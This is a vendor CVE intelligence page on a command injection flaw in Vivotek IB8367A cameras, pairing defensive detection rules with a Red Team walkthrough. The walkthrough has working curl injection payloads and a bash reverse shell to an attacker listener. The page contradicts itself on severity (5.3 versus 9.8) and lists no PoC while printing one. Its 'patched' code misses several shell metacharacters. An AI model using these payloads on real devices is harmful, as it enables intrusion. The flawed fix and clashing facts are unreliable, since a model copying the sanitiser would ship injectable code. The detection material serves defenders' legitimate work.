☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-7443

CVE-2024-7443 Command Injection in Vivotek
📅 PUBLISHED: 2024-08-03 19:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.69%
👁️
2.69% probability
67.2× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-7443 is a critical command injection vulnerability in the Vivotek IB8367A network camera running firmware version VVTK-0100b. The flaw resides in the upload_file.cgi CGI script, where the QUERY_STRING environment variable is passed unsanitized to a system call via the getenv function. An unauthenticated attacker can exploit this remotely to execute arbitrary operating system commands with the privileges of the web server (typically root). The product is End-of-Life (EOL) and will not receive a patch. This vulnerability is classified as critical due to the ease of exploitation and the potential for full device compromise, which can be leveraged for botnet recruitment, network pivoting, or surveillance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded IoT device. The supply chain risk is that the device is EOL and no longer supported, meaning any organization still using it has an unpatched, exploitable component in their network.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component is the only one affected.
  • Confidentiality Impact: High (C:H) – Full device compromise, access to video feed and configuration.
  • Integrity Impact: High (I:H) – Attacker can modify device settings, firmware, or use it as a pivot.
  • Availability Impact: High (A:H) – Attacker can disable the camera or cause denial of service.

Threat Level: Critical. The combination of remote, unauthenticated exploitation with no user interaction and full system compromise makes this a high-priority threat for any organization still using this device.

Deep Dive & Mechanics

The vulnerability is a classic command injection in a CGI environment. The upload_file.cgi script uses the getenv function to retrieve the QUERY_STRING environment variable. This variable contains the raw query string from the HTTP request (e.g., ?param=value). The script then passes this string, without any sanitization or validation, to a function that executes a system command (likely system(), popen(), or exec()).

Root Cause: The lack of input validation on the QUERY_STRING parameter. An attacker can inject shell metacharacters (e.g., ;, |, `, $()) into the query string to break out of the intended command and execute arbitrary commands.

Attack Flow:

  1. Attacker sends an HTTP GET request to http://<target>/cgi-bin/upload_file.cgi? followed by a malicious payload.
  2. The web server sets the QUERY_STRING environment variable to the attacker's input.
  3. The upload_file.cgi script calls getenv("QUERY_STRING") and passes the result to a shell command.
  4. The shell interprets the injected metacharacters and executes the attacker's command.
  5. The output of the command is returned in the HTTP response, or the attacker can establish a reverse shell.

Example Payload:

http://192.168.1.100/cgi-bin/upload_file.cgi?;id

This would execute the id command and return the output.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual C/C++):

#include <stdlib.h>
#include <stdio.h>

int main() {
    char *query = getenv("QUERY_STRING");
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "some_command %s", query);
    system(cmd);  // Vulnerable: query string is not sanitized
    return 0;
}

Patched Code (Conceptual):

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
    char *query = getenv("QUERY_STRING");
    // Sanitize: remove or escape shell metacharacters
    for (int i = 0; query[i]; i++) {
        if (query[i] == ';' || query[i] == '|' || query[i] == '`' || query[i] == '$') {
            query[i] = '_';  // Replace with safe character
        }
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "some_command %s", query);
    system(cmd);
    return 0;
}

Note: No official patch exists. The above is a hypothetical fix. The vendor recommends replacing the device.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable Vivotek IB8367A camera (firmware VVTK-0100b).
  • Network access to the camera's web interface (port 80 or 443).

Exploitation Steps:

  1. Reconnaissance: Scan for the device using Shodan dorks or Nmap.

    nmap -p 80 --script http-title 192.168.1.0/24 | grep -i "IB8367A"
    
  2. Verify Vulnerability: Send a benign command to test injection.

    curl "http://192.168.1.100/cgi-bin/upload_file.cgi?;echo%20VULNERABLE"
    

    If the response contains "VULNERABLE", the device is exploitable.

  3. Execute Command: Run a system command.

    curl "http://192.168.1.100/cgi-bin/upload_file.cgi?;id"
    
  4. Reverse Shell: Use a netcat listener and inject a reverse shell payload.

    # On attacker machine:
    nc -lvnp 4444
    
    # On target (URL-encoded):
    curl "http://192.168.1.100/cgi-bin/upload_file.cgi?;bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/192.168.1.200/4444%200>%261'"
    

No Exploit-DB code was provided.

Blue Team (Defensive)

Detection & Response:

  1. Network Monitoring: Look for HTTP GET requests to /cgi-bin/upload_file.cgi with unusual query strings containing shell metacharacters (;, |, `, $()).
  2. Log Analysis: Check web server logs for abnormal request patterns.
  3. Honeypot: Deploy a decoy camera to capture attacker behavior.
  4. Isolation: Immediately isolate any detected vulnerable cameras to a separate VLAN with no internet access.
  5. Replacement: The only permanent fix is to replace the EOL device with a supported model.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /cgi-bin/upload_file.cgi with query strings containing:
    • ; (semicolon)
    • | (pipe)
    • ` (backtick)
    • $() (command substitution)
    • %0A (newline)
  • Outbound connections from the camera to unusual IP addresses on common reverse shell ports (4444, 1337, 8080).
  • Unusual DNS queries from the camera.

Host IOCs (on the camera):

  • Unexpected processes running (e.g., /bin/bash, /bin/sh).
  • Modified system binaries or scripts.
  • New cron jobs or startup scripts.
  • Unusual files in /tmp or /var/tmp.

YARA Rule:

rule CVE_2024_7443_Command_Injection {
    meta:
        description = "Detects command injection attempts against Vivotek IB8367A upload_file.cgi"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-7443"
    strings:
        $cgi_path = "/cgi-bin/upload_file.cgi"
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "`"
        $shell_meta4 = "$("
    condition:
        $cgi_path and any of ($shell_meta*)
}

Detection Engineering

Sigma Rule:

title: CVE-2024-7443 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting Vivotek IB8367A upload_file.cgi with command injection payloads
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-path: "/cgi-bin/upload_file.cgi"
        cs-uri-query|contains:
            - ";"
            - "|"
            - "`"
            - "$("
    condition: selection
falsepositives:
    - Legitimate use of semicolons in query strings (unlikely)
level: critical

Suricata Rule:

alert http any any -> any any (msg:"CVE-2024-7443 Vivotek IB8367A Command Injection Attempt"; flow:to_server,established; content:"/cgi-bin/upload_file.cgi"; http_uri; pcre:"/(?:;|\||`|\$\().*$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template:

id: CVE-2024-7443
info:
  name: Vivotek IB8367A Command Injection
  author: Valters IT
  severity: critical
  description: Command injection in upload_file.cgi via QUERY_STRING
  reference: https://nvd.nist.gov/vuln/detail/CVE-2024-7443
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-77
requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/upload_file.cgi?;echo%20VULNERABLE"
    matchers:
      - type: word
        words:
          - "VULNERABLE"
        part: body

Remediation & Mitigation

Immediate Actions:

  1. Replace the device: The only permanent fix is to replace the Vivotek IB8367A with a supported, patched model.
  2. Isolate: If replacement is not immediately possible, isolate the camera on a separate VLAN with strict firewall rules blocking all inbound and outbound traffic except to a dedicated management server.
  3. Disable CGI: If the camera allows, disable the upload_file.cgi script or restrict access to it via IP whitelisting.
  4. Monitor: Implement the detection rules above to monitor for exploitation attempts.

Long-Term Strategy:

  • Conduct an inventory of all IoT devices and ensure they are supported and patched.
  • Implement network segmentation for all IoT devices.
  • Use a web application firewall (WAF) to block command injection attempts.
  • Regularly review vendor security advisories and end-of-life announcements.

Valters IT Signature:

Valters IT
Advanced Cyber Threat Intelligence
https://valters-it.com
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-7443/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.